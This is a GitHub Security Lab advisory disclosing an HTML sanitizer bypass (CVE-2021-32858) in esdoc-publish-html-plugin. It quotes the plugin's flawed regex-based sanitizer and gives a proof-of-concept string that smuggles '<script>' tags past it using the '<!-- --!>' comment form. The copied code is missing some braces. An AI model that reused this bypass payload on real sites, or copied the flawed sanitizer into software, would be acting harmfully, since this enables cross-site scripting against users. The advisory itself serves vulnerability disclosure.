skip to content
Back to
Home Bounties Research Advisories Get Involved Events
April 5, 2022

GHSL-2021-1034: HTML sanitizer bypass leading to XSS in esdoc-publish-html-plugin - CVE-2021-32858

GitHub Security Lab

Coordinated Disclosure Timeline


The esdoc-publish-html-plugin HTML sanitizer can be bypassed which may lead to cross-site scripting (XSS) issues.



Tested Version

All (latest is 1.1.2).


Issue: Bad HTML sanitizer in esdoc-publish-html-plugin/src/Builder/util.js (GHSL-2021-1034)

The HTML sanitizer is supposed to remove any potentially malicious HTML. For that purpose, it removes any tags or attributes that can execute javascript code. The sanitizer preserves comments, but it misparses what a comment is. The sanitizer assumes that HTML comments look like <!-- comment -->, however comments can also look like <!-- --!>. That can be used to trick the sanitizer into preserving arbitrary HTML content.

The relevant code is here.


This issue may lead to cross-site scripting


The vulnerable code is here.

The issue was found using a CodeQL query.


// ### Copy paste from `esdoc-publish-html-plugin/src/Builder/util.js` ###
const marked = require('marked');
const escape = require('escape-html');

 * convert markdown text to html.
 * @param {string} text - markdown text.
 * @param {boolean} [breaks=false] if true, break line. FYI gfm is not breaks.
 * @return {string} html.
function markdown(text, breaks = false) {
  // original render does not support multi-byte anchor
  const renderer = new marked.Renderer();
  renderer.heading = function (text, level) {
    const id = escapeURLHash(text);
    return `<h${level} id=${id}>${text}</h${level}>`;

  const availableTags = ['span', 'a', 'p', 'div', 'img', 'h1', 'h2', 'h3', 'h4', 'h5', 'br', 'hr', 'li', 'ul', 'ol', 'code', 'pre', 'details', 'summary', 'kbd'];
  const availableAttributes = ['src', 'href', 'title', 'class', 'id', 'name', 'width', 'height', 'target'];

  const compiled = marked(text, {
    renderer: renderer,
    gfm: true,
    tables: true,
    breaks: breaks,
    sanitize: true,
    sanitizer: (tag) =>{
      if (tag.match(/<!--.*-->/)) {
        return tag;
      const tagName = tag.match(/^<\/?(\w+)/)[1];
      if (!availableTags.includes(tagName)) {
        return escape(tag);

      const sanitizedTag = tag.replace(/([\w\-]+)=(["'].*?["'])/g, (_, attr, val)=>{
        if (!availableAttributes.includes(attr)) return '';
        /* eslint-disable no-script-url */
        if (val.indexOf('javascript:') !== -1) return '';
        return `${attr}=${val}`;

      return sanitizedTag;
    highlight: function(code) {
      // return `<pre class="source-code"><code class="prettyprint">${escape(code)}</code></pre>`;
      return `<code class="source-code prettyprint">${escape(code)}</code>`;

  return compiled;

const str = "<!-- foobar --!> <script>alert(2)</script> -->  <script>alert(3)</script>";

// prints:  <p><!-- foobar --!> <script>alert(2)</script> -->  &lt;script&gt;alert(3)&lt;/script&gt;</p>
// this will show an alert if executed by a browser.



This issue was discovered and reported by GitHub team member @erik-krogh (Erik Krogh Kristensen).


You can contact the GHSL team at, please include a reference to GHSL-2021-1034 in any communication regarding this issue.